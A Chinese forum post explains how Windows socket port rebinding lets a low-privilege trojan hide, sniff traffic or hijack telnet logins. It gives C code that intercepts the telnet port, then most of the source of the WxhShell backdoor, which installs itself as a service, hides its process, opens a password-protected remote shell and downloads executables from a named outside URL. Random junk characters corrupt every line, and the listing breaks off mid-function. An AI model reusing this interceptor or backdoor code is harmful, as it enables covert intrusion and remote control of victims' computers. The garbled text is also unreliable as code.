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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Y|!:t|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7$#u  
UZ";a453r  
  saddr.sin_family = AF_INET; xx $cnG  
Bp{Ri_&A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bK7J}8hH  
&3&HY:yF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g{LP7 D;6  
H*6W q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R-14=|7a-  
#;S*V"  
  这意味着什么?意味着可以进行如下的攻击: v^P O|Z  
NlXimq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1mJ Hued=6  
sRfcF`7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zeRyL3fnmb  
m+9#5a-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;a3}~s  
|a@L}m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0{mex4  
Zd&S@Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ('~LMu_  
&Qm@9Is  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R#KU^]"(  
ULW~90  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :KO2| v\  
Va8&Z  
  #include b Zt3|  
  #include n@w%Zl  
  #include R-Sym8c  
  #include    -qoH,4w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8Y?;x}  
  int main() q(}bfIf  
  { L(\cHb9`  
  WORD wVersionRequested; .^.z2 e  
  DWORD ret; ce(#2o&`  
  WSADATA wsaData; Ca\6vR  
  BOOL val; N21smC}  
  SOCKADDR_IN saddr; ;}t(Wnu.  
  SOCKADDR_IN scaddr; K^[?O{x^B  
  int err; Ho%CDz z  
  SOCKET s; +[P{&\d4}  
  SOCKET sc; Zc2PepIg  
  int caddsize; 0YHFvy)  
  HANDLE mt; Dh*n!7lD`  
  DWORD tid;   <Gsu Z  
  wVersionRequested = MAKEWORD( 2, 2 ); n`KY9[0U=  
  err = WSAStartup( wVersionRequested, &wsaData ); @pxcpXCy  
  if ( err != 0 ) { G&dKY h\  
  printf("error!WSAStartup failed!\n"); KSL`W2}  
  return -1; }\LQ3y"[  
  } 8ipez/  
  saddr.sin_family = AF_INET; i9$ Av  
   $8FUfJ1@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 snJ129}A  
7o4\oRGV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '<M{)?  
  saddr.sin_port = htons(23);  3CJwj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KTv$  
  { -YE^zzh  
  printf("error!socket failed!\n"); ;Qq\DFe.w  
  return -1; ~5g~;f[4  
  } `{Ul!  
  val = TRUE; 1Z;iV<d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c9Yrw^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8_F1AU? u  
  { <QvOs@i*  
  printf("error!setsockopt failed!\n");  @8 6f  
  return -1; A=4OWV?  
  } / j^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0`hdMLONR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9VT;ep  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xkn;,`t^lJ  
v2?ZQeHr_(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5)E @F9N  
  { S[N5 ikg  
  ret=GetLastError(); T;uX4,|(  
  printf("error!bind failed!\n"); 6nQq  
  return -1; +qoRP2  
  } b]y2+A.n  
  listen(s,2); _g. {MTQ  
  while(1) f5r0\7y0  
  { @.C2LIb  
  caddsize = sizeof(scaddr); % `3jL7|  
  //接受连接请求 .u:GjL'$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a =QCp4^  
  if(sc!=INVALID_SOCKET) wj+*E6o-n  
  { $^ P0F9~0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZW}_DT0  
  if(mt==NULL) 8_8l.!~  
  { =Uh$&m  
  printf("Thread Creat Failed!\n"); m2o0y++TjW  
  break; SdWV3  
  } ys~x $  
  } OY d !v`<  
  CloseHandle(mt); rKn~qVls  
  } HhpDR  
  closesocket(s); / +\9S  
  WSACleanup(); 6pzSp  
  return 0; s CRdtP  
  }   OH88n69  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z7#+pPt!  
  { N0lC0 N?_J  
  SOCKET ss = (SOCKET)lpParam; eJSxn1GW  
  SOCKET sc; j F>[?L  
  unsigned char buf[4096]; . ^u,.  
  SOCKADDR_IN saddr; ;I*o@x_  
  long num; T |p"0b A  
  DWORD val; .h[:xYm  
  DWORD ret; ~`/V(r;o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "{n&~H`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^_6|X]tz1T  
  saddr.sin_family = AF_INET; /mMV{[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :svq E+2  
  saddr.sin_port = htons(23); g{Rd=1SK]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;r8X.>P*  
  { n ;Ei\\p!  
  printf("error!socket failed!\n"); U17d>]ka  
  return -1; yr6V3],Tp  
  } "z c l|@  
  val = 100; R=dC4;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O=lzT~G|4  
  { [ }:$yg  
  ret = GetLastError(); nu^436MSOa  
  return -1; ]yu:i-SfP  
  } G6/m#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >0gW4!7Y  
  { pJ=#zsE0  
  ret = GetLastError(); ;*N5Y}?j'  
  return -1; ),)lzN%!  
  } @,}UWU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C+]I@Go'Tk  
  { -} +[  
  printf("error!socket connect failed!\n"); u!s2 BC0}N  
  closesocket(sc); ~@!bsLSMU  
  closesocket(ss); I|OoRq  
  return -1; 92c HwWZ!  
  } %C0Dw\A*:  
  while(1) B[}6-2<>?C  
  { H.;Q+A,8^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \!(zrfP{(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZC ?Xqp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n|hNM?v  
  num = recv(ss,buf,4096,0); G B^Br6  
  if(num>0) 9$Y=orpWxr  
  send(sc,buf,num,0); fOHxtHM  
  else if(num==0) 5N]"~w*  
  break; pdMc}=K  
  num = recv(sc,buf,4096,0); @d_M@\r=j  
  if(num>0) KXrjqqXs  
  send(ss,buf,num,0); i@q&5;%%  
  else if(num==0) )_:NLo:  
  break; 1cDF!X]  
  } Q/?$x*\>  
  closesocket(ss); [KQi.u  
  closesocket(sc); {_}I!`opr$  
  return 0 ; 8(De^H lO  
  } df=f62  
~~.}ah/_d  
ta0|^KAA  
========================================================== xG 1n GO  
[WJ+h~~ o  
下边附上一个代码,,WXhSHELL Ni>[D"|  
Smh,zCc>s  
========================================================== vI?, 47Hj+  
[7-?7mp!B  
#include "stdafx.h" h;Qk @F  
sT.ss$HY9,  
#include <stdio.h> TvM~y\s  
#include <string.h> 2eogY#  
#include <windows.h> q)GdD==  
#include <winsock2.h> maZ)cW?  
#include <winsvc.h> K}y f>'O  
#include <urlmon.h> xo)P?-  
[UR-I0 s!/  
#pragma comment (lib, "Ws2_32.lib") @iiT<  
#pragma comment (lib, "urlmon.lib") hoP]9&<T  
/ 1RpM]d  
#define MAX_USER   100 // 最大客户端连接数 #Y! a6h+  
#define BUF_SOCK   200 // sock buffer VUc%4U{Cti  
#define KEY_BUFF   255 // 输入 buffer ("@!>|H  
Y2TtY;  
#define REBOOT     0   // 重启 Mt$ *a  
#define SHUTDOWN   1   // 关机 B?QIN]  
s.rm7r@ #  
#define DEF_PORT   5000 // 监听端口 b>W %t  
R_KH"`q  
#define REG_LEN     16   // 注册表键长度 $qiya[&G4  
#define SVC_LEN     80   // NT服务名长度 9sP0D  
#tHK"20  
// 从dll定义API :s,Z<^5a)g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~u{uZ(~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SM '|+ d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0K+ne0I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); do_[&  
3$tdwe$S  
// wxhshell配置信息 |)&%A%m  
struct WSCFG { GyIV Hby  
  int ws_port;         // 监听端口 Xvv6~  
  char ws_passstr[REG_LEN]; // 口令 O1lNAcpeM  
  int ws_autoins;       // 安装标记, 1=yes 0=no #E?4E1bnB  
  char ws_regname[REG_LEN]; // 注册表键名 J,hCvm  
  char ws_svcname[REG_LEN]; // 服务名 mw!F{pw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '91/md5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 29rX%09T]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _$'ashF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /z!%d%"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }C:r 9? T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \zY!qpX<  
O^.#d  
}; > I?IPQB  
8}[).d160  
// default Wxhshell configuration XX@ZQcN  
struct WSCFG wscfg={DEF_PORT, dG{A~Z z  
    "xuhuanlingzhe", Y*^[P,+J*}  
    1, 0@(&eH=  
    "Wxhshell", EPm/r  
    "Wxhshell", ;jXgAAz7  
            "WxhShell Service", *hx  
    "Wrsky Windows CmdShell Service", yfSmDPh  
    "Please Input Your Password: ", hM{bavd  
  1, PsYpxNr  
  "http://www.wrsky.com/wxhshell.exe", p?!/+  
  "Wxhshell.exe" x Ar\gu  
    }; 8m MQ[#0:}  
Ulyue  
// 消息定义模块 = &]L00u.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^c<Ve'-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wri<h:1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b sX[UF  
char *msg_ws_ext="\n\rExit."; 53D]3  
char *msg_ws_end="\n\rQuit."; .]u /O`c]  
char *msg_ws_boot="\n\rReboot..."; ZH8,K Y"  
char *msg_ws_poff="\n\rShutdown..."; ?}0,o.  
char *msg_ws_down="\n\rSave to "; |N2#ItBbW  
>j/w@Fj  
char *msg_ws_err="\n\rErr!"; f?Lw)hMrA  
char *msg_ws_ok="\n\rOK!"; ;'|Ey  
]`K2 N  
char ExeFile[MAX_PATH]; `Oa WGZ[  
int nUser = 0; ~a:  
HANDLE handles[MAX_USER]; Oz95  
int OsIsNt; Pal=F0-Q\  
NOva'qk  
SERVICE_STATUS       serviceStatus; %Zi} MPx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $I=~S[p  
nKY6[|!#  
// 函数声明 xEI%D|)<  
int Install(void); 0;k# *#w  
int Uninstall(void); 3n _htgcv  
int DownloadFile(char *sURL, SOCKET wsh); siI;"?  
int Boot(int flag); {.yB'.k?  
void HideProc(void); {mg2pfhB!  
int GetOsVer(void); M  >u_4AY  
int Wxhshell(SOCKET wsl); QV!up^Zso  
void TalkWithClient(void *cs); 2ESo2  
int CmdShell(SOCKET sock); ]DcFySyv  
int StartFromService(void); HtFDlvdy]  
int StartWxhshell(LPSTR lpCmdLine); RP"kC4~1  
aOp\91  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wT@og|M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); icgfB-1|i  
l **X^+=$  
// 数据结构和表定义 dH!*!r>  
SERVICE_TABLE_ENTRY DispatchTable[] = C]6O!Pb0  
{ )e{aN+  
{wscfg.ws_svcname, NTServiceMain}, d6O[ @CyP  
{NULL, NULL} 5O% {{J  
}; (>Em^(&  
I,tud!p`  
// 自我安装 { FkF  
int Install(void) &Jj<h: *  
{ /wp6KXm  
  char svExeFile[MAX_PATH]; `3pW]&  
  HKEY key; 'DR!9De  
  strcpy(svExeFile,ExeFile); eFgA 8kY)  
7dWS  
// 如果是win9x系统,修改注册表设为自启动 ,bi^P>X  
if(!OsIsNt) { P0@,fd<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TbU#96"~.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 KiY6)  
  RegCloseKey(key); (=0.inZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XSR 4iu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V0@=^Bls  
  RegCloseKey(key); # d  
  return 0; Vr}'.\$  
    } l#o ~W`  
  } aN?zmkPpov  
} /: "1Z]@  
else { <)9y{J}s:  
)`:UP~)H  
// 如果是NT以上系统,安装为系统服务 ]Ze1s02(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )7F/O3Tq  
if (schSCManager!=0) 4RO}<$Nx}  
{ m0wDX*Qn  
  SC_HANDLE schService = CreateService th_oJcS  
  ( sC'` ~}C  
  schSCManager, G{}VPcrbC  
  wscfg.ws_svcname, @JMiO^  
  wscfg.ws_svcdisp, C+$#y2"z#n  
  SERVICE_ALL_ACCESS, $4LzcwG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {) XTk &"  
  SERVICE_AUTO_START, 79gT+~z   
  SERVICE_ERROR_NORMAL, N8jIMb'<  
  svExeFile, <~)P7~$d?p  
  NULL, k[xSbs'D  
  NULL, HPl<%%TI  
  NULL, pBHRa?Y5  
  NULL, x5Bk/e'  
  NULL 3og.y+.=U.  
  ); ZK,G v  
  if (schService!=0) 6P3*Z  
  { |Cv!,]9:r  
  CloseServiceHandle(schService); ( .:e,l{U%  
  CloseServiceHandle(schSCManager); y[;>#j$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l?e.9o2-  
  strcat(svExeFile,wscfg.ws_svcname); WWY6ha  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yWK)vju"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A.SvA Yn  
  RegCloseKey(key); ?,z}%p  
  return 0; $Sq:q0  
    } ch]IzdD  
  } Q &8-\  
  CloseServiceHandle(schSCManager); }j Xfb@`K  
} i!Ba]n   
} Gc?a+T  
_BufO7 `.  
return 1; K(4_a``05  
} 5BIY<B+i  
U^PgG|0N  
// 自我卸载 dtDFoETz  
int Uninstall(void) /ZX }Nc g  
{ 6ujW Nf  
  HKEY key; m67V_s,7B  
10&8-p1/mc  
if(!OsIsNt) { [^iN}Lz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hrk r'3lv  
  RegDeleteValue(key,wscfg.ws_regname); wYea\^co  
  RegCloseKey(key);  mh%VrA q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z{q`GwW  
  RegDeleteValue(key,wscfg.ws_regname); U{mYTN*:j$  
  RegCloseKey(key); $ nb[GV  
  return 0; UMi~14& ;  
  } W?& %x(6M  
} tQVVhXQ7  
} ^iA9%zp  
else { 7V>M]  
X w1*(ffk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *~`(RV  
if (schSCManager!=0) CpN>p.kM  
{ e-;}366}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !WlH'y-I  
  if (schService!=0) WH\d| 1)  
  { l/D} X  
  if(DeleteService(schService)!=0) { ;uW FHc5@B  
  CloseServiceHandle(schService); i b m4fa  
  CloseServiceHandle(schSCManager); (7Qo  
  return 0; hH.G#-JO  
  } BtZyn7a  
  CloseServiceHandle(schService); sW$XH1Uf#  
  } 0RfZEG)  
  CloseServiceHandle(schSCManager); u*R_\*j@  
} c-w)|-ac.  
} z:O8Ls^\T  
)7@0[>  
return 1; UiWg<_<t  
} =4!mAo}  
$G>.\t  
// 从指定url下载文件 ooGM$U  
int DownloadFile(char *sURL, SOCKET wsh) Gj*9~*xm(  
{ %O<BfIZ  
  HRESULT hr; x-c"%Z|  
char seps[]= "/"; bt *k.=p  
char *token; -j(6;9"7]|  
char *file; Bvj0^fSm  
char myURL[MAX_PATH]; #ob/p#k  
char myFILE[MAX_PATH]; G}*hM$F  
)u">it+  
strcpy(myURL,sURL); *hrd5na  
  token=strtok(myURL,seps); +\'t E~V  
  while(token!=NULL) L];b< *d  
  { rQXzR  
    file=token; |ZBw<f  
  token=strtok(NULL,seps); ysN3  
  } 2 c}E(8e]  
Rcv9mj]l  
GetCurrentDirectory(MAX_PATH,myFILE); <3iMRe  
strcat(myFILE, "\\"); 0(I j%Wi,  
strcat(myFILE, file); )jj0^f1!j  
  send(wsh,myFILE,strlen(myFILE),0); J,G lIv.A  
send(wsh,"...",3,0); QJNFA}*>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mOSv9w#,  
  if(hr==S_OK) 4Hg9N}  
return 0; NA*&#X#~  
else l6B@qYLZ  
return 1; 3 $w65=  
^aQ"E9  
} g}i61(  
c,22*.V/  
// 系统电源模块 zi:BF60]=  
int Boot(int flag) 0V]s:S  
{ l%ZhA=TKQ  
  HANDLE hToken; J1kM\8%b\  
  TOKEN_PRIVILEGES tkp; IID5c" oR  
)Z$!PqRw@u  
  if(OsIsNt) { 67TwPvh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ymgw-NJ;(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iE{&*.q_}>  
    tkp.PrivilegeCount = 1; ,Q,^3*HX9}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q?T]MUY(L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VpUAeWb  
if(flag==REBOOT) { h![#;>(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f?b"iA(6  
  return 0; P2!C|SLK  
} CARzO7 b\w  
else { *=n:-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l~.-e^p?  
  return 0; JRFtsio*  
} +V+a4lU14  
  } /=h` L ,  
  else { zQA`/&=Y  
if(flag==REBOOT) { H"KCK6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OB7hlW  
  return 0; r>\bW)e  
} '|4!5)/K  
else { 2tLJU  Z1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :]c3|J  
  return 0; h~26WLf.  
} :EH=_"  
} /bEAK-  
G:JR7N$  
return 1; k8Xm n6X  
} 1cGmg1U;  
:LTN!jj  
// win9x进程隐藏模块 nm+s{  
void HideProc(void) G`zm@QL  
{ .2pK.$.  
Ah<+y\C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $"&JWT!#  
  if ( hKernel != NULL ) K#xv u1U  
  { 6#yUc_5 \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j4b4!^fV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AEuG v}#  
    FreeLibrary(hKernel); Y~Ifj,\  
  } IAEAhqp  
nie%eC&U  
return; Wf<LR3  
} fLVAKn  
^GX)Z~  
// 获取操作系统版本 DN/YHSYK  
int GetOsVer(void) a> )f=uS  
{ w:l"\Tm  
  OSVERSIONINFO winfo; W`&hp6Jq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \f)#>+X-  
  GetVersionEx(&winfo); 6,uX,X5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?8 {"x8W;  
  return 1; <X5 fUU"+U  
  else .G^YqJ 4  
  return 0; h1{3njdr  
} ~v83pu1!2s  
5?L<N:;J_  
// 客户端句柄模块 KU;9}!#  
int Wxhshell(SOCKET wsl) Q &t<Y^B  
{ xCKRxF  
  SOCKET wsh; 0g\(+Qg^  
  struct sockaddr_in client; |%v^W3  
  DWORD myID; 6 r_)sHf  
mqJ_W[y7  
  while(nUser<MAX_USER) !-Y3V"  
{ Ve=b16H  
  int nSize=sizeof(client); %bfZn9_m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'n|5ZhXPB  
  if(wsh==INVALID_SOCKET) return 1; 6^Sa;  
PVOv[%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vg23!E  
if(handles[nUser]==0) njw|JnDv  
  closesocket(wsh); Tf)*4O4@'  
else fAmz4  
  nUser++; y==CT Y@  
  } $SE^S   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1 .X@;  
pNIf=lA  
  return 0; y?:.;%!E  
} x m@_IL&P  
qFNes)_r  
// 关闭 socket `XB 9Mi=  
void CloseIt(SOCKET wsh) g1o8._f.  
{ 3,=6@U  
closesocket(wsh); ,(4K4pN  
nUser--; wf $s*|z  
ExitThread(0); :aQt;C6Z>  
} m6djeOl  
:@)>r9N  
// 客户端请求句柄 ? qA]w9x  
void TalkWithClient(void *cs) =ruao'A  
{ '7@R7w!E4H  
:eg4z )  
  SOCKET wsh=(SOCKET)cs; )WoxMmz  
  char pwd[SVC_LEN]; Z<4AL\l 98  
  char cmd[KEY_BUFF]; ^I)N. 5  
char chr[1]; e$pV%5=  
int i,j; hzRYec(  
Gbw2E&a  
  while (nUser < MAX_USER) { $\! 7 {6a  
,: ->ErP  
if(wscfg.ws_passstr) { m_l[MG\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A4ygW:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P2*<GjV`S/  
  //ZeroMemory(pwd,KEY_BUFF); "T"h)L<  
      i=0; ##o#eZq:"  
  while(i<SVC_LEN) { #=v~8  
+U.I( 83F  
  // 设置超时 7!$^r$t   
  fd_set FdRead; -tNUMi'  
  struct timeval TimeOut; !YJs]_Wr  
  FD_ZERO(&FdRead); T n}s*<=V  
  FD_SET(wsh,&FdRead); |&[EZ+[  
  TimeOut.tv_sec=8; 6_ow%Rx~F  
  TimeOut.tv_usec=0; =>dGL|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <rmvcim{*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lA-h`rl /  
l0hlM#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _7)n(1h[3b  
  pwd=chr[0]; ->{KVPHe{  
  if(chr[0]==0xd || chr[0]==0xa) { +H2-ZXr  
  pwd=0; 3Le{\}-$.  
  break; XGMiW0j0B  
  } -S+zmo8  
  i++; {u9}bx'<  
    } D1mfm.9_r^  
2T TdH)  
  // 如果是非法用户,关闭 socket BRYHX.}h\A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ K E%C;u  
} +t:0SRSt  
(@}!0[[^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V#}kwON  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Kb1~jY  
jb;hcraR  
while(1) { (Clkv  
BV+ Bk+  
  ZeroMemory(cmd,KEY_BUFF); S/I/-Bp~  
(2 a`XwR  
      // 自动支持客户端 telnet标准   .-X8J t  
  j=0; :U(A;U1,  
  while(j<KEY_BUFF) { ;]jNk'oa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %9RF   
  cmd[j]=chr[0]; !#" zTj  
  if(chr[0]==0xa || chr[0]==0xd) {  =4!e&o  
  cmd[j]=0; C\/L v.  
  break; O<;3M'y\  
  } 0,8okA H  
  j++; |id <=Xf  
    } wg]LVW}  
@jlw_ob2g  
  // 下载文件 bNoW?8bZ  
  if(strstr(cmd,"http://")) { z%LIX^q9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HgkC~'  
  if(DownloadFile(cmd,wsh)) M {Q;:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C C^'@~)?  
  else ^Js9 s8?$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [R7Y}k:9U  
  } ")HFYqP>9  
  else { {T Ug. %u  
oF GhNk  
    switch(cmd[0]) {  {s{j~M  
  w(TJ*::T  
  // 帮助 QW~1%`  
  case '?': { V}NbuvDB@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1|6%evPu(  
    break; @[i4^  
  } om-omo&,X=  
  // 安装 H&}pkrH~  
  case 'i': { ZEO,]$Yi7  
    if(Install()) 0tB0@Wj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  y%b F&  
    else M_w<m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `P;s 8~  
    break; 7;(UF=4  
    } \`\ZTZni  
  // 卸载 B i<Q=x'Z;  
  case 'r': { hzbw>g+  
    if(Uninstall()) _1L![-ac  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }:*]aL<7_  
    else x*&|0n.D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ziu]'#  
    break; nSAdCJ;4  
    } wtV#l4  
  // 显示 wxhshell 所在路径 X<; f  
  case 'p': { Jl9k``r*  
    char svExeFile[MAX_PATH]; m&?r%x  
    strcpy(svExeFile,"\n\r"); A1?2*W  
      strcat(svExeFile,ExeFile); ;H.^i|_/  
        send(wsh,svExeFile,strlen(svExeFile),0); ZH)="qx [  
    break; &&RimoIeo  
    } 0f>5(ek  
  // 重启 }HePZ{PLM  
  case 'b': { +|89>}w4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P&e\)Z|  
    if(Boot(REBOOT)) @w!PaP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hJ#xB6  
    else { 4G>H  
    closesocket(wsh); U,-39mr  
    ExitThread(0); h"lv7;B$  
    } Ev(>z-{F  
    break; 'B0{_RaTb  
    } Gvqxi|  
  // 关机 T+K):u g  
  case 'd': { P{+T< bk|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8j\cL'  
    if(Boot(SHUTDOWN)) \:ak ''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(LZ9I  
    else { dg"3rs /?A  
    closesocket(wsh); J 9iy  
